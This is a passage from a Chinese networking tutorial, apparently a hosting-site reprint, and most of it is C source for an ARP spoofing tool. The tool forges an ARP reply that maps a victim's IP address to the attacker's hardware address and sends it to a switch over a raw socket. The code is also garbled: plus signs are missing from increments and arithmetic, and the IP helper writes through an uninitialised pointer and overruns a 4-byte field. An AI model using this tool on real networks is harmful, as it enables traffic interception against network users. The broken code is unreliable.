32 unsigned char ar_hln; /* Length of hardware address. */
33 unsigned char ar_pln; /* Length of protocol address. */
34 unsigned short int ar_op; /* ARP opcode (command). */
35 unsigned char __ar_sha[6]; /* Sender hardware address. */
36 unsigned char __ar_sip[4]; /* Sender IP address. */
37 unsigned char __ar_tha[6]; /* Target hardware address. */
38 unsigned char __ar_tip[4]; /* Target IP address. */
39 };
40 struct arp_packet{
41 struct ether_header ethhdr;
42 struct arp_header arphdr;
43 unsigned char padding[18]; /* filled with 0 */
44 };
45 /* arp reply:
46 * op = 2
47 * ethhdr.ether_dhost = arphdr.__ar_tha = switch hard addr
48 * ethhdr.ether_shost = arphdr.__ar_sha = local hard addr
49 * arphdr.__ar_tip = switch ip
50 * arphdr.__ar_sip = victim ip
51 */
52 #define FRAME_TYPE 0x0806 /* arp=0x0806,rarp=0x8035 */
53 #define HARD_TYPE 1 /* ethernet is 1 */
54 #define PROTO_TYPE 0x0800 /* IP is 0x0800 */
55 #define OP_CODE 2 /* arp=1/2,rarp=3/4 */
56
57 void set_ip_addr(char *,char *);
58 void set_hw_addr(char *,char *);
59
60 int main(int argc,char **argv)
61 {
62 int sockfd;
63 struct arp_packet arp;
64 struct sockaddr sa;
65
66 sockfd = socket(AF_INET,SOCK_PACKET,htons(0x0806));
67 if(sockfd < 0)
68 perror("socket error"),exit(1);
69
70 /* init arp packet */
71 arp.ethhdr.ether_type = htons(FRAME_TYPE);
72 arp.arphdr.ar_hrd = htons(HARD_TYPE);
73 arp.arphdr.ar_pro = htons(PROTO_TYPE);
74 arp.arphdr.ar_op = OP_CODE;
75 arp.arphdr.ar_hln = 6;
76 arp.arphdr.ar_pln = 4;
77 set_hw_addr(arp.ethhdr.ether_dhost,SWITCH_HW);
78 set_hw_addr(arp.ethhdr.ether_shost,LOCAL_HW);
79 set_hw_addr(arp.arphdr.__ar_tha,SWITCH_HW);
80 set_hw_addr(arp.arphdr.__ar_sha,LOCAL_HW);
81 set_ip_addr(arp.arphdr.__ar_tip,SWITCH_IP);
82 set_ip_addr(arp.arphdr.__ar_sip,VICTIM_IP);
83 bzero(arp.padding,18);
84
85 /* send arp reply packet */
86 strcpy(sa.sa_data,DEVICE);
87 if(sendto(sockfd,&arp,sizeof(arp),0,&sa,sizeof(sa))<0)
88 perror("sendto error"),exit(1);
89 /* main return */
90 exit(0);
91 }
92
93 void set_hw_addr (char *buf, char *str)
94 {
95 int i;
96 char c, val;
97 for(i = 0; i < 6; i ){
98 if (!(c = tolower(*str )))
99 perror("Invalid hardware address"),exit(1);
100 if (isdigit(c))
101 val = c - '0';
102 else if (c >= 'a' && c <= 'f')
103 val = c-'a' 10;
104 else
105 perror("Invalid hardware address"),exit(1);
106 *buf = val << 4;
107 if (!(c = tolower(*str )))
108 perror("Invalid hardware address"),exit(1);
109 if (isdigit(c))
110 val = c - '0';
111 else if (c >= 'a' && c <= 'f')
112 val = c-'a' 10;
113 else
114 perror("Invalid hardware address"),exit(1);
115 *buf |= val;
116 if (*str == ':')
117 str ;
118 }
119 }
120
121 void set_ip_addr(char *buf,char *str)
122 {
123 struct in_addr *addr;
124 addr->s_addr = inet_addr(str);
125 memcpy(buf,addr,6);
126 return;
127 }
主函数很短,主要的代码是前面的结构定义。假如您先前就知道ARP结构,那
程式就没有任何要解释的地方了。
*****待续*****
文章整理:西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!




